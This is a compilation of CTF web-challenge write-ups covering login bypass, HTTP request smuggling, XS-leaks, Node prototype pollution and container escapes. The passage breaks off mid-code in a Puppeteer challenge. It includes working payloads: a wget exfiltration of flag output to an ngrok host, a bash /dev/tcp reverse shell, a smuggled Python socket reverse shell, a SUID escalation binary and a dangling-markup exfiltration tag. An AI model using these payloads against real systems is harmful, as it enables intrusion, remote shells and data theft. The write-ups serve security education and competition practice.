Hey, this is my challenge! I was slightly pressed for time when coming up with this challenge so it definitely wasn't as long and elaborate as some of the later stages, but I'm happy with how it turned out. Hope everyone had fun!

You can find the challenge files here.

{% embed url="<https://github.com/zeyu2001/My-CTF-Challenges/tree/main/TISC-2022>" %}

## Description

> We have discovered PALINDROME's secret portal, but we can't seem to gain access. Thankfully, we managed to steal the source code - can you take a look?\
> \
> Gaining access to the portal and stealing the PALINDROME admin's access token will greatly aid our efforts to curb PALINDROME's ongoing attack.\
> \
> <http://chal010yo0os7fxmu2rhdrybsdiwsdqxgjdfuh.ctf.sg:23627/index\\>
> \
> \*NOTE\*: Solving this challenge unlocks level 6!

{% file src="/files/5FhSzBnj3TO4cMXa20IN" %}

## Solution

### Part 1 - Gaining Access

Upon inspection of the source code, we will quickly discover that the first thing we need to do is to bypass the login, since all other endpoints are protected by `authenticationMiddleware`.

We see that the `mysqljs/mysql` package is used *without* the `stringifyObjects: true` option:

```javascript
const db = mysql.createConnection({
    host     : 'db',
    user     : 'web',
    password : process.env.MYSQL_PASSWORD,
    database : 'palindrome'
});
```

While the email and password values are expected to be strings, the use of `express.json()` allows `Object` and `Array` types to be given as `req.body.email` and `req.body.password`.

This causes [unexpected behaviour](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4) when constructing SQL queries.

For instance, POST-ing the following JSON to `/login`:

```http
POST /login HTTP/1.1
Host: localhost
Content-Length: 97
Content-Type: application/json

{
    "email": {
        "email": 1
    },
    "password": {
        "password": 1
    }
}
```

will cause the following SQL query to be executed:

```sql
SELECT * FROM users WHERE email = `email` = 1 AND password = `password` = 1
```

which simplifies to

```sql
SELECT * FROM users WHERE 1 = 1 AND 1= 1
```

This allows us to authenticate successfully and gain access to the application.

### Part 2 - HTTP Request Smuggling

Once we gain access to the application, we would see a "Report Issue" feature which allows us to "submit a URL for the admin to check".

Yet, when we submit any URL, we are presented with the following error:

> Forbidden. Only local administrators can report issues for now.

Now is probably a good time to notice that the Express application is put behind a reverse proxy (Apache Traffic Server). The `remap.config` file specifies the URL mappings, and we could see that the `/do-report` endpoint is mapped to `/forbidden`.

```
map             /login          http://app:8000/login
map             /index          http://app:8000/index
map             /token          http://app:8000/token
map             /verify         http://app:8000/verify
map             /report-issue   http://app:8000/report-issue
map             /static         http://app:8000/static
map             /do-report      http://app:8000/forbidden
regex_redirect  http://(.*)/    http://$1/index
```

This access control mechanism prevents us from making a request to `/do-report`, unless we are doing so without going through the proxy.

Looking at the versions of Node.js and ATS used, we could find information on a HTTP request smuggling [issue](https://portswigger.net/daily-swig/node-js-was-vulnerable-to-a-novel-http-request-smuggling-technique) in the incorrect parsing of chunk extensions.

While a PoC is available, participants would need to modify it to suit this particular context.

Consider the following request, where each new line is delimited by `\r`.

```http
GET / HTTP/1.1\r\n
Host: localhost:8080\r\n
Transfer-Encoding: chunked\r\n
\r\n
3;\nxxx\r\n
139\r\n
0\r\n
\r\n
POST /do-report HTTP/1.1\r\n
Host: localhost:8080\r\n
Content-Length: 103\r\n
Cookie: connect.sid=s%3A4Tp_E2HJcMliL0-HBIe2gRJe0STpIOZW.hoetvVdAqJdACwI4BwIrHCmQR1nPjgY2YOxQMbJsDmU\r\n
Content-Type: application/json\r\n
\r\n
{"url":"http://localhost:8000/verify?token=TISC{c:n:9:4:i:7:c:n:e:m}#:~:text=TISC{1:3:3:7:l:3:4:k:1:a"}\r\n
0\r\n
\r
```

A chunk extension is used here: `3;\nxxx`. The issue is two-pronged:

1. ATS parses the LF (`\n`) as a line terminator (instead of the CRLF sequence) and forwards it.
2. The Node.js HTTP server does not check if the chunk extension contains the illegal LF character.

So ATS sees the following request:

```http
GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

3;
xxx
139
0

POST /do-report HTTP/1.1
Host: localhost:8080
Content-Length: 103
Cookie: connect.sid=s%3A4Tp_E2HJcMliL0-HBIe2gRJe0STpIOZW.hoetvVdAqJdACwI4BwIrHCmQR1nPjgY2YOxQMbJsDmU
Content-Type: application/json

{"url":"http://localhost:8000/verify?token=TISC{c:n:9:4:i:7:c:n:e:m}#:~:text=TISC{1:3:3:7:l:3:4:k:1:a"}
0
```

Notice that here, the `POST /do-report HTTP/1.1` request is encapsulated as part of the chunked request body of the first request (and therefore not seen by ATS as a separate request).

<figure><img src="/files/i3sElcjzPrZM0jyff88G" alt=""><figcaption></figcaption></figure>

When the request is forwarded to the backend, however, Node does not see `xxx` as part of a new line.

```http
GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

3;[\n]xxx
139
0

POST /do-report HTTP/1.1
Host: localhost:8080
Content-Length: 103
Cookie: connect.sid=s%3A4Tp_E2HJcMliL0-HBIe2gRJe0STpIOZW.hoetvVdAqJdACwI4BwIrHCmQR1nPjgY2YOxQMbJsDmU
Content-Type: application/json

{"url":"http://localhost:8000/verify?token=TISC{c:n:9:4:i:7:c:n:e:m}#:~:text=TISC{1:3:3:7:l:3:4:k:1:a"}
0
```

Therefore, the `POST /do-report HTTP/1.1` request is processed as a second request instead.

This allows us to smuggle a request to the backend application, bypassing the access control implemented on ATS.

### Part 3 - Scroll-To-Text-Fragment (STTF) XS-Leak

First of all, notice in the `verify.pug` template that `username` is unescaped, since `!{...}` i used instead of `#{...}`.

```pug
.alert.alert-success(role='alert')
    | This token belongs to !{username}.
    | If !{username} asks for your token, you can give them this token: #{token}.
```

This allows us to inject HTML markup, but because of the strict Content Security Policy, we cannot perform XSS or CSS-based exfiltration.

```http
Content-Security-Policy: default-src 'self'; img-src data: *; object-src 'none'; base-uri 'none'; 
```

[STTF](https://chromestatus.com/feature/4733392803332096) is a relatively new feature in Chromium, which allows scrolling to a specific portion of a page using a text snippet in the URL. This opens up possibilities for XS-Leaks.

Notice that the CSP allows the loading of arbitrary images. This can be combined with STTF to detect if a scroll occurred, leading to the loading of a lazy-loaded image.

In order to make sure that the lazy-loaded image does not load immediately after opening the page, a simple solution is to make use of Bootstrap's `min-vh-100` class - this ensures that the `div` will take up the entire viewport.

```html
<div class="min-vh-100">Min-height 100vh</div>
<div class="min-vh-100">Min-height 100vh</div>
<div class="min-vh-100">Min-height 100vh</div>
<img loading=lazy src="OUR_URL">
```

When we visit the generated verification page at `/verify?token=TOKEN`, we will get the following page:

```html
...

<div class="alert alert-success" role="alert">
   This token belongs to 
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <img loading=lazy src="OUR_URL">.
   If 
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <img loading=lazy src="OUR_URL"> asks for your token, you can give them this token: TISC{OUR_TOKEN}.
</div>

...
```

Opening the page with the `:~:text=TISC{` fragment, we can see that a scroll is induced, causing the lazy-loaded image to be fetched.

All we need to to is to automate the submission of different text fragments, and for each text fragment, detect if a callback is received. This allows us to bruteforce the admin token (the flag of the challenge) one character at a time.

Note: In order for the STTF to work on an incomplete flag, the special `TISC{x:y:z}` format is required, where each character is alphanumeric and a number occurs in at least every other character. The flag has been specially chosen with this in mind.

### Wrapping Up

The full exploit chain is automated in solve.py.

The following needs to be changed:

```python
CHALLENGE_HOST = 'localhost'    # Change this
CHALLENGE_PORT = 80             # Change this

# Change this - this is our URL that proxies to our local port 1337
OUR_URL = 'http://OUR_URL/LOADED'
```

`OUR_URL` is the URL (such as one provided by `ngrok`, or the player's own public IP) that maps to our local port 1337.

Sample script output:

<figure><img src="/files/tXxf6gb7z7KfB9prylnt" alt=""><figcaption></figcaption></figure>

## Unintended Solutions

### Flawed Proxy Routing

This was an unintended solution that existed in a previous version of this challenge and was fixed in the final version used in the competition.

The original `remap.config` file was as follows

```
map /do-report  http://app:8000/forbidden
map /           http://app:8000/
```

If you have attempted my challenges during SEETF (a CTF my team hosted earlier this year), you would have noticed that this suffers from the same unintended solution used by many players during SEETF to solve my [Flagportal](https://github.com/zeyu2001/My-CTF-Challenges/blob/main/SEETF-2022/web/flagportal-revenge/solve.md) challenge.

The way ATS performs remapping is to find the longest-prefix-match in the URL path, then concatenate whatever is left to the end of the resultant URL.

In this case, if we requested `//`, the resultant URL would be `http://app:8000//`. We could then extend this to `//do-report`, which would result in `http://app:8000//do-report`. The double-slashes are then normalised into a single slash.

This prompted the fixed version of this file to be used in the competition.

```
map             /login          http://app:8000/login
map             /index          http://app:8000/index
map             /token          http://app:8000/token
map             /verify         http://app:8000/verify
map             /report-issue   http://app:8000/report-issue
map             /static         http://app:8000/static
map             /do-report      http://app:8000/forbidden
regex_redirect  http://(.*)/    http://$1/index
```

### OSINT

Some time after submitting this challenge, I reported a HTTP request smuggling vulnerability to the maintainers of ATS. The vulnerability had to do with CRLF injection when downgrading from HTTP/2 to HTTP/1.1, and had nothing to do with this challenge.

This [vulnerability](https://lists.apache.org/thread/rc64lwbdgrkv674koc3zl1sljr9vwg21) got fixed and disclosed way sooner than I thought it would, and my name appeared in the search results of some people looking for ATS request smuggling vulnerabilities during the competition.

By Googling for my name in combination with ATS request smuggling, some people were able to find a writeup of the ATS vulnerability being used in combination with Waitress, which suffered from a similar vulnerability (accepting LF in chunked extensions) as the Node.js version in this challenge.

### Dangling Markup Injection

Instead of using Scroll-To-Text-Fragment, a much simpler attack would be to use a dangling markup injection that exfiltrated the admin's token to our URL through an image tag.

`"><img src="https://OUR_URL?a=`

This would translate to&#x20;

{% code overflow="wrap" %}

```html
<div class="alert alert-success" role="alert">This token belongs to "><img src="https://OUR_URL?a=. If"><img src="https://OUR_URL?a=asks for your token, you can give them this token: TISC{OUR_TOKEN}</div> ... " ... >
```

{% endcode %}

The idea behind such an attack is that the unterminated string for `src` will run on until the next double quote, allowing us to exfiltrate the contents of the page up until the next double quote.

This is where my assumptions failed me - I had assumed that this would not be possible because Chromium would have [blocked](https://chromestatus.com/feature/5735596811091968) URLs containing newline and `<` characters. I thought that this would certainly have been the case here, as the next double quote would not be found until several lines later.

However, as stated in the [documentation](https://pugjs.org/language/plain-text.html), Pug *removes* all whitespace between elements, unless the [`pretty` option](https://pugjs.org/api/reference.html) is explicitly set. This meant that the entire page is rendered as a single line of HTML, and the browser's defences against dangling markup injection would have been useless.


# BalsnCTF 2022

We got 8th place! Here are the challenges I solved.

| Challenge                                        | Category       | Solves |
| ------------------------------------------------ | -------------- | ------ |
| [2linenodejs](/2022/balsnctf-2022/2linenodejs)   | Web            | 13     |
| [Health Check](/2022/balsnctf-2022/health-check) | Web            | 32     |
| Flag Market 1                                    | Pwn            | 43     |
| Flag Market 2                                    | Misc           | 35     |
| Cairo Reverse                                    | Smart Contract | 41     |


# 2linenodejs

## Description

Web | 13 solves

> Sorry for my bad coding style :(
>
> Author: ginoah

## Solution

### Prototype Pollution

Taking a look at the source, we see quite clearly that there is a prototype pollution here.

```javascript
#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch (e) {
    require('./usage')
  }finally{
    process.exit();
  }
});
```

`JSON.parse` will allow the `__proto__` key, storing it as `['__proto__']` instead (which surprisingly works as a key when used here):

```javascript
module.exports=(O,o) => (
    Object.entries(O).forEach(
        ([K,V])=>Object.entries(V).forEach(
            ([k,v])=>(o[K]=o[K]||{},o[K][k]=v)
        )
    ), o
);
```

Great! We have a prototype pollution - how do we leverage it to an RCE?

### require() Gadget

After performing the pollution, we don't have much of a choice where we want to go. Either nothing happens and `process.exit()` is called, or we cause an exception and `require('./usage')` is called. Causing an exception is pretty simple and I actually stumbled upon it early on when testing simple payloads.

If one of the key-value pairs is a mapping to `null`, then `Object.entries(V)` will yield a `TypeError` since `null` cannot be converted to an `Object`.

```javascript
        ([K,V])=>Object.entries(V).forEach(
                        ^

TypeError: Cannot convert undefined or null to object
```

If we look into the `internal/modules/cjs/loader.js`, we see that in the `trySelf` function, there is a [possible gadget](https://github.com/nodejs/node/blob/beb0520af74ed20c3d48a1b4f6ca8a89664976c6/lib/internal/modules/cjs/loader.js#L461).

If `readPackageScope` returns `false`, then the destructuring assignment should leave `pkg` and `pkgPath` as `undefined`, since the right-hand side is `{}`. But if we pollute `__proto__.data` and `__proto__.path`, then we can control `pkg` and `pkgPath`.

```javascript
function trySelf(parentPath, request) {
  if (!parentPath) return false;

  const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
  if (!pkg || pkg.exports === undefined) return false;
  if (typeof pkg.name !== 'string') return false;
```

But what is `pkg` and `pkgPath`? We could look at `readPackageScope` and find out that it calls&#x20;

[`readPackage`](https://github.com/nodejs/node/blob/beb0520af74ed20c3d48a1b4f6ca8a89664976c6/lib/internal/modules/cjs/loader.js#L308) to populate the result, and `readPackage` just reads the `package.json` file of a Node.js module.

```javascript
function readPackage(requestPath) {
  const jsonPath = path.resolve(requestPath, 'package.json');

  const existing = packageJsonCache.get(jsonPath);
  if (existing !== undefined) return existing;
  
  ...
```

So `pkg` appears to just be an object containing the [`package.json` fields](https://nodejs.org/api/packages.html#nodejs-packagejson-field-definitions) and `pkgPath` is the path to this package. Importantly, we see `pkg.exports` being used a lot in the subsequent code path, and this makes sence given the following explanation of `exports` in `package.json`:

> The `"exports"` field allows defining the [entry points](https://nodejs.org/api/packages.html#package-entry-points) of a package when imported by name loaded either via a `node_modules` lookup or a [self-reference](https://nodejs.org/api/packages.html#self-referencing-a-package-using-its-name) to its own name.&#x20;

With this knowledge, we can confirm that the following exploit allows us to load any JavaScript file.

```json
{
    "__proto__": {
        "data": {
            "name": "./usage",
            "exports": {
                ".": "./some-file.js"
            }
        },
        "path": "/some/path/to/file",
    },
    "x": null
}
```

### preinstall.js Gadget

Initially doing a simple search for all JavaScript files in the container (`find / -name "*.js" 2>/dev/null`), we can find `/opt/yarn-v1.22.19/preinstall.js`. Doing a bit of digging, we can find out that this script is added from [here](https://github.com/yarnpkg/yarn/pull/8343).

Immediately we see in this script that we have `child_process.execFileSync` being called, which looks promising.

```javascript
if (process.env.npm_config_global) {
    var cp = require('child_process');
    var fs = require('fs');
    var path = require('path');

    try {
        console.log(process.execPath, process.env.npm_execpath)
        var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
            encoding: 'utf8',
            stdio: ['inherit', 'inherit', 'inherit'],
        }).replace(/\n/g, '');
        process.exit()
```

First off, to reach this code path we could need to pollute `npm_config_global` to a truthy value.

`process.execPath` is always `/usr/bin/node`, and we can't control it. But we could control `process.env.npm_execpath` since it is not set by default. Looking at the [CLI documentation](https://nodejs.org/api/cli.html), the [`-e` or `--eval`](https://nodejs.org/api/cli.html#-e---eval-script) option looks promising! This would basically allow us to run inline JavaScript.

One issue is that because the regex matches up to the first space character, our JSON cannot have any spaces.

```javascript
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
```

To get around this, we use `${IFS}`. For instance, we could pollute `npm_execpath` to `--eval=require('child_process').execSync('sleep${IFS}5')`.

The final payload was using `wget` and command substitution to exfiltrate the `/readflag` output.

```javascript
{
    "__proto__": {
        "data": {
            "name": "./usage",
            "exports": {
                ".": "./preinstall.js"
            }
        },
        "path": "./",
        "npm_config_global": 1,
        "npm_execpath": "--eval=require('child_process').execSync('wget${IFS}https://012c-49-245-33-142.ngrok.io/`/readflag`')"
    },
    "x": null
}
```

This gives us the flag on our listening HTTP server.

```http
GET /BALSN%7BPr0toTyP3_PoL1u7i0n_1s_so_Cooooooool%21%21%21%7D HTTP/1.1
Host: 012c-49-245-33-142.ngrok.io
User-Agent: Wget
X-Forwarded-For: 44.204.208.69
X-Forwarded-Proto: https
Accept-Encoding: gzip
```


# Health Check

## Description

Web | 32 solves

> Want to know whether the challenge is down or it's just your network down? Want to know who to send a message when you want to contact an admin of some challenges? Take a look at our "fastest" Health Check API in the world!
>
> Warning: Do not violate our CTF rules.
>
> Author: chiffoncake

## Solution

### Health Check 1

Visiting the webpage, we could guess through the response headers that the server was using FastAPI. We could download `openapi.json` to see the available endpoints.

````json
 "/new": {
            "post": {
                "summary": "Create Problem",
                "description": "**This endpoint is only for admin. Do NOT share this link with players!**\n\nUpload the health check script to create a new problem. The uploaded file should be a zip file.\nThe zip file should NOT have a top-level folder. In the folder, you must place an executable (or a script) named `run`. You may put other files as you want.\nBelow is an example output of `zipinfo myzip.zip` of a valid `myzip.zip`:\n\n```\nArchive:  myzip.zip\nZip file size: 383 bytes, number of entries: 2\n-rwxrwxr-x  3.0 unx       84 tx defN 22-Aug-20 19:53 run\n-rw-rw-r--  3.0 unx        8 tx stor 22-Aug-20 19:53 my-env\n2 files, 92 bytes uncompressed, 89 bytes compressed:  3.3%\n```\n\nBelow is an example output of an invalid zip (because it has a top-level folder):\n\n```\nArchive:  badzip.zip\nZip file size: 553 bytes, number of entries: 3\ndrwxrwxr-x  3.0 unx        0 bx stor 22-Aug-20 19:55 badzip/\n-rw-rw-r--  3.0 unx        8 tx stor 22-Aug-20 19:55 badzip/myenv\n-rwxrwxr-x  3.0 unx       84 tx defN 22-Aug-20 19:55 badzip/run\n3 files, 92 bytes uncompressed, 89 bytes compressed:  3.3%\n```\n\nEvery 30 seconds, the server will spawn a new process, cd into your folder, and run `./run`. Your `./run` should create `./status.json` to store the health check result, which will be returned when the players request for the status of this problem.\nIf you have any question, please contact @chiffoncake.",
                "operationId": "create_problem_new_post",
                "requestBody": {
                    "content": {
                        "multipart/form-data": {
                            "schema": {
                                "$ref": "#/components/schemas/Body_create_problem_new_post"
                            }
                        }
                    },
                    "required": true
                },
                
                ...
````

We could see the following description for the `/new` endpoint.

> **This endpoint is only for admin. Do NOT share this link with players!**
>
> Upload the health check script to create a new problem. The uploaded file should be a zip file.
>
> The zip file should NOT have a top-level folder. In the folder, you must place an executable (or a script) named `run`. You may put other files as you want.\
> \
> ...

Indeed, we could upload a zip file containing a `run` bash script that gives us a reverse shell.

```bash
#!/bin/sh

bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/18920 0>&1"
```

The first flag was readable by the `nobody` user.

### Health Check 2

From our reverse shell, we could see the source code.

```python
import asyncio, os, pathlib, shutil, traceback
from flag1 import flag1

RM_INTERVAL = 20 * 60
HEALTH_CHECK_INTERVAL = 30

data_path = pathlib.Path('data')
backup_path = pathlib.Path.home() / 'backup'


async def background_task1():
    while True:
        await asyncio.sleep(RM_INTERVAL)
        for path_name in data_path.iterdir():
            try:
                shutil.rmtree(path_name)
            except:
                traceback.print_exc()


async def background_task2():
    while True:
        timer = asyncio.create_task(asyncio.sleep(HEALTH_CHECK_INTERVAL))
        processes = {timer}
        for path_name in data_path.iterdir():
            if not path_name.is_dir():
                continue
            async def run(path_name):
                try:
                    if 'docker-entry' in os.listdir(path_name):
                        # experimental
                        await asyncio.create_subprocess_shell(f'sudo chmod -R a+rwx {path_name}; cd {path_name}; chmod a+x ./docker-entry; docker run --rm --cpus=".25" -m="256m" -v=$(realpath .):/data -u=user -w=/data sandbox /data/docker-entry')
                    else:
                        await asyncio.create_subprocess_shell(f'sudo chmod -R a+rwx {path_name}; cd {path_name}; sudo -u nobody ./run')
                except:
                    pass
            processes.add(asyncio.create_task(run(path_name)))

        await asyncio.wait(processes)


if __name__ == '__main__':
    try:
        os.mkdir('data')
    except FileExistsError:
        pass

    async def run():
        os.chmod('flag1.py', 0o440)
        os.chmod('flag2', 0o440)
        os.chmod('data', 0o711)
        asyncio.create_task(background_task1())
        await background_task2()

    asyncio.run(run())
```

We could clearly see that if the zip file name contains `docker-entry`, then instead of running the script as the `nobody` user, we get a shell within a Docker container that has the current directory mounted to `/data`.

```python
if 'docker-entry' in os.listdir(path_name):
    # experimental
    await asyncio.create_subprocess_shell(f'sudo chmod -R a+rwx {path_name}; cd {path_name}; chmod a+x ./docker-entry; docker run --rm --cpus=".25" -m="256m" -v=$(realpath .):/data -u=user -w=/data sandbox /data/docker-entry')
else:
    await asyncio.create_subprocess_shell(f'sudo chmod -R a+rwx {path_name}; cd {path_name}; sudo -u nobody ./run')
```

Let's take a step back - we now have a way of gaining a shell *both inside and outside* of the Docker container. The shell inside the container has higher privileges than the one outside (the one inside runs as the `uploaded` user, while the one outside runs as the `nobody` user).

I compiled a binary that sets the effective user and group IDs to that of the SUID and SGID permissions, then compiled it and gave it SUID and SGID permissions with `chmod u+s exp` and `chmod g+s exp`.

```c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>

int main()
{
    int t;
    printf("before, geteuid() returned %d\n", geteuid());
    printf("before, getuid() returned %d\n", getuid());

    t = setuid(geteuid());
    if (t < 0) {
        perror("Error with setuid() - errno " + errno);
        exit(1);
    }

    printf("before, getegid() returned %d\n", getegid());
    printf("before, getgid() returned %d\n", getgid());
    
    t = setgid(getegid());
    if (t < 0) {
        perror("Error with setgid() - errno " + errno);
        exit(1);
    }

    printf("after, geteuid() returned %d\n", geteuid());
    printf("after, getuid() returned %d\n", getuid());

    printf("after, getegid() returned %d\n", getegid());
    printf("after, getgid() returned %d\n", getgid());

    setreuid(geteuid(), geteuid());
    setregid(getegid(), getegid());

    printf("finally, geteuid() returned %d\n", geteuid());
    printf("finally, getuid() returned %d\n", getuid());

    printf("finally, getegid() returned %d\n", getegid());
    printf("finally, getgid() returned %d\n", getgid());

    printf("did work fine, look who I am:\n");
    system("/bin/bash -c whoami");
    system("/bin/bash");
}
```

This gives us the flag!

<figure><img src="/files/rqJ2tgtFS0Bxx4FwanMd" alt=""><figcaption></figcaption></figure>


# BSidesTLV 2022 CTF

BSidesTLV is one of Israel's leading cyber conferences for hackers and security researchers.

Social Engineering Experts got 7th place! There were some very interesting challenges.

![](/files/HvvunUxyitRP1pFvgRNP)

| Challenge                                               | Category | Solves |
| ------------------------------------------------------- | -------- | ------ |
| [Smuggler](/2022/bsidestlv-2022-ctf/smuggler)           | Web      | 5      |
| [Wild DevTools](/2022/bsidestlv-2022-ctf/wild-devtools) | Web      | 10     |
| [Tropical API](/2022/bsidestlv-2022-ctf/tropical-api)   | Web      | 23     |
| Roll the Impossible                                     | Web      | 44     |
| Medium Expectations                                     | Crypto   | 149    |
| High Expectations                                       | Crypto   | 61     |
| Jurassic W0r1d                                          | Misc     | 45     |
| Wordle                                                  | Misc     | 17     |


# Smuggler

HTTP Request Smuggling and Method Spoofing

## Challenge

{% hint style="info" %}
Web, 5 Solves
{% endhint %}

> We have managed to leak the source code of an application we want to gain access to, however we couldn't figure out how to trigger the vulnerability we found in it, can you help us?

{% file src="/files/jMtfY0ZRNaiQzqI66Wub" %}

## Solution

This challenge consists of 3 services - Traefik (a HTTP proxy), a Python microservice, and a Go microservice.

### Traefik

The configuration file is shown below. This service acts as a reverse proxy for the Go microservice, and only accepts the POST, GET, OPTIONS, DELETE and PATCH methods.

```javascript
[http]
  [http.routers]
    [http.routers.Router0]
      entryPoints = ["web"]
      service = "app"
      rule = "Method(`POST`, `GET`, `OPTIONS`, `DELETE`, `PATCH`)"

  [http.services]
    [http.services.app]
      [[http.services.app.weighted.services]]
        name = "appv1"

    [http.services.appv1]
      [http.services.appv1.loadBalancer]
        [[http.services.appv1.loadBalancer.servers]]
          url = "http://go-microservice:8080/"
```

### Go Microservice

Taking a look at the Go microservice, we could see that the Beego web framework is used. This service acts as a reverse proxy for the Python microservice when the `PUT` method is used.

```go
package main

import (
	"fmt"
	"github.com/beego/beego/v2/server/web"
	"net/http/httputil"
	"net/url"
)

type MainController struct {
	web.Controller
}

func (this *MainController) Get() {
	fmt.Println(this.Ctx.Request.ContentLength)
	this.Ctx.WriteString("OK")
}

func (this *MainController) Put() {
	targetURL := "http://python-microservice:80/"
	url, err := url.Parse(targetURL)
	if err != nil {
		panic(fmt.Sprintf("failed to parse the URL: %v", err))
	}
	proxy := httputil.NewSingleHostReverseProxy(url)
	proxy.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}

func main() {
	web.Router("/", &MainController{})
	web.Run()
}

```

### Python Microservice

Finally, the Python microservice allows us to run arbitrary commands when the GET method is used. That seems like where we need to go.

```python
import os
from flask import Flask, request
from werkzeug.serving import WSGIRequestHandler

app = Flask(__name__)


@app.route('/')
def run_cmd():
    if 'cmd' in request.args:
        os.system(request.args['cmd'])
    return 'OK'


@app.route('/', methods=['POST'])
def echo_request():
    return request.get_data()


if __name__ == '__main__':
    WSGIRequestHandler.protocol_version = "HTTP/1.1"
    app.run(host='0.0.0.0', port=80, threaded=True, debug=False)

```

### HTTP Method Spoofing

To get to the Python microservice in the first place, we need to use the PUT method on the Go microservice. Yet, the Traefik proxy only allows the POST, GET, OPTIONS, DELETE and PATCH methods.

As of this CTF, both the Traefik and Beego versions used were the latest versions, with no known CVEs. How then, can we "smuggle" a PUT request to the Go microservice?

I took a look at the Beego [source code](https://github.com/beego/beego/blob/69c17fafbbfd796c7435d60b13f8d557c8850691/server/web/router.go#L1128-L1144), and found some interesting information on how it handles routing. Although the PUT request method is not directly supported by Beego in the request line itself, there is a way to issue a "pseudo" PUT request.

![](/files/WBdceg2M3GeXAzkB1IPL)

Specifically, when the POST method is used, a check is done on the `_method` query parameter. If we use `?_method=PUT` for instance, the request is routed as if it was a PUT request.

Therefore, the following request would reach the `Put()` handler in the Go microservice:

```http
POST /?_method=PUT HTTP/1.1
Host: foo.bar
```

### HTTP Request Smuggling

Now that we have reached the PUT handler in Beego, we have access to the Python microservice. The Python microservice runs on Flask's built-in server, which is *not* secure for production. In particular, it does very little to mitigate [HTTP request smuggling](https://portswigger.net/web-security/request-smuggling) attacks.

For instance, underscores (`_`) are converted to hyphens (`-`) and interpreted as such. This means that the `Content_Length` header is treated in the same way as `Content-Length`.&#x20;

The built-in server also allows duplicate `Content-Length` headers, leading to differences between the upstream servers (Traefik and Beego) and the Flask built-in server in interpreting the length of HTTP requests.

Consider the following request:

```http
POST /?_method=PUT HTTP/1.1
Host: localhost
Content-Length: 307
Content_Length: 0

GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%222.tcp.ngrok.io%22%2c%2011237))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1
Host: localhost
```

RFC 7230 [allows](https://www.rfc-editor.org/rfc/rfc7230#section-3.2) both underscores and hyphens in header field names.`Content-Length` and `Content_Length` are therefore two distinct headers - they should not be interoperable. In this case, `Content_Length` should be treated like any other header, and not a special header indicating the length of the request body.

Both Traefik and Beego are RFC-compliant in this regard, but the Flask built-in server is not. When both Traefik and Beego process the above request, the second GET request is simply subsumed as part of the first POST request due to the `Content-Length` header indicating a length equal to the length of the second GET request.

The second RFC violation comes from accepting multiple `Content-Length` headers with different values. As [per the RFC](https://www.rfc-editor.org/rfc/rfc7230#section-3.3.3),

> If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error.

In this case, the Flask built-in server takes the *last* `Content-Length` header value as the length of the request body. Therefore, it sees the length of the request body as 0.

```http
Content-Length: 307
Content_Length: 0
```

When the POST request arrives, it is treated as two separate requests, as though the following request was made:

```http
POST /?_method=PUT HTTP/1.1
Host: localhost
Content-Length: 0

GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%222.tcp.ngrok.io%22%2c%2011237))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1
Host: localhost
```

We have smuggled a GET request to the Python microservice, allowing us to get a reverse shell and obtain the flag.


# Wild DevTools

Browser-based Port Scan + Puppeteer Remote Debugging

## Challenge

{% hint style="info" %}
Web, 10 Solves
{% endhint %}

> One of our hackers stole the source code for a top-secret screenshot service. However, he wasn't able to get the flag.
>
> He kept saying it was impossible. That made me think of you, think you can do it?

{% file src="/files/TseJp01BnL8eY5WWSoMS" %}

## Solution

The goal was to read the flag file, which is written to disk when the server starts up.

```javascript
async function main() {
    const port = 8080;
    const server = express();

    // write flag to disk
    fs.writeFileSync('/tmp/flag.txt', process.env.FLAG);
    
    ...
```

This was essentially a "screenshotter" service that allows us to enter arbitrary URLs to be rendered by a Chromium instance.

The `validateScreenshotRequest` middleware makes sure that we specify a HTTP(S) URL, so the `file://` protocol will not work here.

```javascript
function validateScreenshotRequest(req, res, next) {
    if (!req.query.url || typeof req.query.url !== 'string') {
        return res.status(400).json({ error: 'url is required' });
    }

    try {
        let url = new URL(req.query.url);
        if (url.protocol !== 'http:' && url.protocol !== 'https:') {
            return res.status(400).json({ error: 'invalid protocol' });
        }
    } catch {
        return res.status(400).json({ error: 'invalid URL' });
    }

    next();
}
```

Of particular interest, however, is the way that the browser instance is launched.

```javascript
async function getBrowserWithTimeout(seconds) {
    log('launching browser...');
    let browser = null;

    for (let i = 0; i < 5; i++) {
        if (browser !== null) {
            continue;
        }
        try {
            browser = await puppeteer.launch({
                timeout: 5000,
                headless: true,
                dumpio: true,
                ignoreDefaultArgs: [
                    '--disable-popup-blocking'
                ],
                args: [
                    '--no-sandbox',
                    '--ignore-certificate-errors',
                    '--disable-setuid-sandbox',
                    '--disable-accelerated-2d-canvas',
                    '--disable-gpu',
                    '--proxy-server=smokescreen:4750',
